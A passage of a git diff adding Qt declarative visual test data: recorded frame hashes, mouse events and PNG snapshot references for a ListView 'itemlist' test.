+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 6160
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 6176
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 6192
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 6208
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 6224
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 6240
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 6256
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 6272
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 6288
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6304
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6320
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6336
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6352
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6368
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6384
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6400
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6416
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6432
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6448
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6464
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6480
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6496
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6512
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6528
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6544
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6560
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6576
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6592
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6608
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6624
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6640
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 6656
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.0.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.0.png
new file mode 100644
index 00000000..75d2089c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.1.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.1.png
new file mode 100644
index 00000000..75d2089c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.2.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.2.png
new file mode 100644
index 00000000..bc7dc2c4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.3.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.3.png
new file mode 100644
index 00000000..def378f4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.4.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.4.png
new file mode 100644
index 00000000..e23b9033
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.5.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.5.png
new file mode 100644
index 00000000..def378f4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.6.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.6.png
new file mode 100644
index 00000000..b81e713a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.7.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.7.png
new file mode 100644
index 00000000..75d2089c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.qml b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.qml
new file mode 100644
index 00000000..6438e425
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.qml
@@ -0,0 +1,2203 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "itemlist.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 48
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 64
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 80
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 96
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 112
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 128
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 144
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 160
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 176
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 192
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 208
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 224
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 240
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 256
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 272
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 288
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 304
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 320
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 336
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 352
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 368
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 384
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 400
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 416
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 432
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 448
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 464
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 480
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 496
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 512
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 528
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 544
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 560
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 576
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 592
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 608
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 624
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 640
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 656
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 672
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 688
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 704
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 720
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 736
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 752
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 768
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 784
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 800
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 816
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 832
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 848
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 864
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 880
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 896
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 912
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 928
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 944
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 960
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 976
+ image: "itemlist.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1008
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1024
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1040
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1056
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1072
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1088
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1104
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1120
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1136
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1152
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1168
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1184
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1200
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1216
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1232
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1248
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1264
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1280
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1296
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1312
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1328
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1344
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1360
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1376
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1392
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1408
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1424
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1440
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1456
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1472
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1488
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1504
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1520
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1536
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1552
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1568
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1584
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1600
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1616
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1632
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 1648
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 192; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1664
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1680
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 190; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 187; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1696
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 184; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 180; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1712
+ hash: "b6e433a23282a50db2e165a2447ba3f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 167; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1728
+ hash: "68d443f16c16821ffc9ca68b17c76034"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 160; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1744
+ hash: "04b9041c6f10969889d92e94785c7e88"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 121
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1760
+ hash: "64b902fe7ab4d89ef0c7b760974e3488"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 98; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1776
+ hash: "c2125b59e00f1a1c189c778c44fe39b0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 91; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1792
+ hash: "c78175071f2e95649d529b9e1cf045b2"
+ }
+ Frame {
+ msec: 1808
+ hash: "ca8ef2c2a7b06e55899b1b63208e257d"
+ }
+ Frame {
+ msec: 1824
+ hash: "b54957726e6257956b63e1d7ebbc96e4"
+ }
+ Frame {
+ msec: 1840
+ hash: "48847db78ddde75bb96edf01c52c3400"
+ }
+ Frame {
+ msec: 1856
+ hash: "48dab5cd1feedf1b5dd67390d6f40fda"
+ }
+ Frame {
+ msec: 1872
+ hash: "fe32013c245091b577d0e38eea05705d"
+ }
+ Frame {
+ msec: 1888
+ hash: "e4b6e31029c1ea26405537c6d2304b72"
+ }
+ Frame {
+ msec: 1904
+ hash: "b5fc9ab0a96ef526e6eb1c022f26c6a7"
+ }
+ Frame {
+ msec: 1920
+ hash: "75ab445a739fb2415e20e8997b043656"
+ }
+ Frame {
+ msec: 1936
+ image: "itemlist.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "1bce9b85235e9a1a472c079dfec70ec5"
+ }
+ Frame {
+ msec: 1968
+ hash: "98e707a3e39a5f7bd4a101c2ed83535c"
+ }
+ Frame {
+ msec: 1984
+ hash: "f73470027601a0c1a2382d5ded9e5fa6"
+ }
+ Frame {
+ msec: 2000
+ hash: "d917b18a47b4e90821cba8987492cd1f"
+ }
+ Frame {
+ msec: 2016
+ hash: "fa526c5ef57eaa210fb4d03b72c35b69"
+ }
+ Frame {
+ msec: 2032
+ hash: "15cbc226b032d5a97199735ea7a1408b"
+ }
+ Frame {
+ msec: 2048
+ hash: "6ffd2b79cf0e941a59e74bc6f9025bcb"
+ }
+ Frame {
+ msec: 2064
+ hash: "c009924bfa30153f22ab168b539494e9"
+ }
+ Frame {
+ msec: 2080
+ hash: "0525908c0302ada989e28990bac3f2ca"
+ }
+ Frame {
+ msec: 2096
+ hash: "75c1295ef99680784b2e11fb88fa1423"
+ }
+ Frame {
+ msec: 2112
+ hash: "53064c1938f08a55603a99b0db225174"
+ }
+ Frame {
+ msec: 2128
+ hash: "99d9e58697736198e0a00443d237e85b"
+ }
+ Frame {
+ msec: 2144
+ hash: "6c1e860aef983367365d53f5849ad441"
+ }
+ Frame {
+ msec: 2160
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2176
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2192
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2208
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2224
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2240
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2256
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2272
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2288
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2304
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2320
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2336
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2352
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2368
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2384
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2400
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2416
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2432
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2448
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2464
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2480
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2496
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2512
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2528
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2544
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2560
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2576
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2592
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2608
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2624
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2640
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2656
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2672
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2688
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2704
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2720
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2736
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2752
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2768
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2784
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2800
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2816
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2832
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2848
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2864
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 181; y: 104
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2880
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 2896
+ image: "itemlist.3.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 179; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 177; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2912
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 110
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2928
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 160; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2944
+ hash: "52af1b81022e8572b9123461d123197f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 123
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2960
+ hash: "e1390ad02ae7a6e757df4a7af9032167"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 127
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 124; y: 127
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2976
+ hash: "bf57f309378c956dfd70aa79a7dd97c5"
+ }
+ Frame {
+ msec: 2992
+ hash: "408b59b96ecad0541ecbb97262c2567b"
+ }
+ Frame {
+ msec: 3008
+ hash: "c52f691a0a6cf155118bdfea2dfea623"
+ }
+ Frame {
+ msec: 3024
+ hash: "9aabf0500b1272375f5f6db1bd1d7b04"
+ }
+ Frame {
+ msec: 3040
+ hash: "2e92065ca9425d1645d69c1734804518"
+ }
+ Frame {
+ msec: 3056
+ hash: "c73b2e430a0e96a660aa4447697e5adf"
+ }
+ Frame {
+ msec: 3072
+ hash: "875560b509215a869d1cad8a05f38850"
+ }
+ Frame {
+ msec: 3088
+ hash: "fd8e51cca3432f6edcf949857737095f"
+ }
+ Frame {
+ msec: 3104
+ hash: "aa5d4e65932b3ec2f5549079dfc7718d"
+ }
+ Frame {
+ msec: 3120
+ hash: "f811f3c6b022730dd68ebd7b1659ea40"
+ }
+ Frame {
+ msec: 3136
+ hash: "e51a2e41972cfc3df46a7d4375024d80"
+ }
+ Frame {
+ msec: 3152
+ hash: "275f3594a0e2cc4b6717f9f336e7e1b6"
+ }
+ Frame {
+ msec: 3168
+ hash: "9229054bb70662b12a4f7e45ac5b7a90"
+ }
+ Frame {
+ msec: 3184
+ hash: "89ff346eca0b71cad3b04a2cb8064fb0"
+ }
+ Frame {
+ msec: 3200
+ hash: "94e6ecb87a7efca6344d6d63a1e3829f"
+ }
+ Frame {
+ msec: 3216
+ hash: "bc5eb6b0eeae316ddd0b308da2cc32e2"
+ }
+ Frame {
+ msec: 3232
+ hash: "240081760f0cf2f02be4d6d2600d2bbc"
+ }
+ Frame {
+ msec: 3248
+ hash: "69b335aeb81fc2ae6173f2ec5cdc4c55"
+ }
+ Frame {
+ msec: 3264
+ hash: "10d481e57cc8cd694500d9ed6ae1f8bb"
+ }
+ Frame {
+ msec: 3280
+ hash: "6b21f71d0bedef4bbcb445a13f61e7a3"
+ }
+ Frame {
+ msec: 3296
+ hash: "aa94ebdbb4b8423aff28c95daff0baf5"
+ }
+ Frame {
+ msec: 3312
+ hash: "5f6708f615654c459f5749676fc09016"
+ }
+ Frame {
+ msec: 3328
+ hash: "8ef246d322446e7f0848b99495f89e2b"
+ }
+ Frame {
+ msec: 3344
+ hash: "c3b219bdd7710427d134402a8d3e6429"
+ }
+ Frame {
+ msec: 3360
+ hash: "3b2e2d957585fb44a7165186a146892c"
+ }
+ Frame {
+ msec: 3376
+ hash: "124da0099a7dd6fbf6dfd0ecfb09638c"
+ }
+ Frame {
+ msec: 3392
+ hash: "e4dacafba5ab5f8db53f08cef458cf42"
+ }
+ Frame {
+ msec: 3408
+ hash: "b554512bac0766063870c5b3acb1d24f"
+ }
+ Frame {
+ msec: 3424
+ hash: "bb5ea2a238920a8486263bc7450edfb4"
